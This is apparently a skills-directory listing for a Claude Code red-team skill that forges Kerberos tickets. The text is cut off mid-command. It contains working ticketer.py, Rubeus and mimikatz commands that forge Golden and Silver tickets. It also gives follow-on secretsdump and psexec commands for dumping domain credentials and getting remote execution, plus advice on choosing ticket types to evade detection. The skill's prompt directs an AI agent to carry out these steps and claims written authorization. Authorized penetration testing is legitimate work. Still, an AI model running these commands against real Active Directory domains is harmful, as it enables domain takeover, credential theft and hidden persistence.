acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Forges Kerberos tickets for domain persistence and privilege escalation. Covers Golden Ticket (krbtgt hash → forged TGT), Silver Ticket (service hash → forged TGS), Diamond Ticket (decrypt/modify/re-encrypt legitimate TGT for stealth), Sapphire Ticket (U2U PAC swap), and
$ npx -y skills add blacklanternsecurity/red-run --skill kerberos-ticket-forging --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/kerberos-ticket-forgingContext preview
The summary Claude sees to decide when to auto-load this skill.
Forges Kerberos tickets for domain persistence and privilege escalation. Covers Golden Ticket (krbtgt hash → forged TGT), Silver Ticket (service hash → forged TGS), Diamond Ticket (decrypt/modify/re-encrypt legitimate TGT for stealth), Sapphire Ticket (U2U PAC swap), and
name: kerberos-ticket-forging description: > Forges Kerberos tickets for domain persistence and privilege escalation. Covers Golden Ticket (krbtgt hash → forged TGT), Silver Ticket (service hash → forged TGS), Diamond Ticket (decrypt/modify/re-encrypt legitimate TGT for stealth), Sapphire Ticket (U2U PAC swap), and Pass-the-Ticket injection. keywords: - golden ticket - silver ticket - diamond ticket - sapphire ticket - forge ticket - forged TGT - forged TGS - krbtgt hash - ticket forging - ticketer.py - kerberos persistence - domain persistence - you have krbtgt or service account key material and need domain-wide access or persistence tools: - Impacket (ticketer.py) - Rubeus - mimikatz opsec: medium
You are helping a penetration tester forge Kerberos tickets for domain persistence and privilege escalation. All testing is under explicit written authorization.
**Kerberos-first authentication**: Forged tickets are inherently Kerberos. Use `-k -no-pass` (Impacket) or `--use-kcache` (NetExec) for all operations with forged tickets.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
`Rubeus`, `mimikatz`
**Get domain SID**:
# Impacket lookupsid.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass | head -1 # bloodyAD bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \ 'DC=DOMAIN,DC=LOCAL' --attr objectSid # PowerView Get-DomainSID
| Material Available | Ticket Type | OPSEC | Go To | |-------------------|-------------|-------|-------| | krbtgt AES256 + legit creds | **Diamond** | **LOW** | Step 4 | | krbtgt AES256 + S4U2Self | **Sapphire** | **LOW** | Step 5 | | krbtgt NTLM or AES | **Golden** | **HIGH** | Step 2 | | Service account AES/NTLM | **Silver** | **MEDIUM** | Step 3 | | Stolen .ccache/.kirbi | **Pass-the-Ticket** | **LOW** | Step 6 |
**Always prefer Diamond > Sapphire > Silver > Golden** when key material allows.
Golden tickets are the most powerful but most detectable. Diamond tickets provide the same access with significantly better stealth.
**Concept**: Forge a TGT using the krbtgt key. Grants access to any service as any user in the domain.
**Required material**: krbtgt NTLM hash or AES256 key + domain SID.
# With AES256 (preferred — matches domain encryption policy) ticketer.py -aesKey KRBTGT_AES256 \ -domain-sid S-1-5-21-XXX-YYY-ZZZ \ -domain DOMAIN.LOCAL \ Administrator # With NTLM hash (RC4 — detectable in AES-enforced domains) ticketer.py -nthash KRBTGT_NTHASH \ -domain-sid S-1-5-21-XXX-YYY-ZZZ \ -domain DOMAIN.LOCAL \ Administrator # With extra SIDs (cross-forest Enterprise Admins) ticketer.py -aesKey KRBTGT_AES256 \ -domain-sid S-1-5-21-XXX-YYY-ZZZ \ -domain DOMAIN.LOCAL \ -extra-sid S-1-5-21-FOREST-SID-519 \ Administrator # Inject and use export KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass DOMAIN/Administrator@DC.DOMAIN.LOCAL -just-dc psexec.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
# Forge and inject .\Rubeus.exe golden /aes256:KRBTGT_AES256 \ /user:Administrator /id:500 \ /domain:DOMAIN.LOCAL /sid:S-1-5-21-XXX-YYY-ZZZ \ /ldap /nowrap /ptt
# Forge golden ticket with realistic lifetime kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL \ /sid:S-1-5-21-XXX-YYY-ZZZ \ /aes256:KRBTGT_AES256 \ /id:500 /groups:512,513,518,519,520 \ /startoffset:0 /endin:600 /renewmax:10080 \ /ptt
ticket was forged offline, so the KDC never issued it
(10 hours) and `/renewmax:10080` (7 days) for realistic values
Get-DomainPolicy | select -expand KerberosPolicy
**Concept**: Forge a TGS for a specific service using the service account's key. Access is limited to that service — no KDC contact needed.
**Required material**: Service account AES256 key or NTLM hash + domain SID.
# With AES256 (mandatory for modern domains post-KB5021131) ticketer.py -aesKey SERVICE_AES256 \ -domain-sid S-1-5-21-XXX-YYY-ZZZ \ -domain DOMAIN.LOCAL \ -spn cifs/TARGET.DOMAIN.LOCAL \ -duration 480 \ Administrator # Common SPNs to target # cifs/host — file shares, psexec # LDAP/DC — DCSync # MSSQLSvc/host:1433 — SQL access # HTTP/host — web services, WinRM # HOST/host — scheduled tasks, WMI export KRB5CCNAME=Administ
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…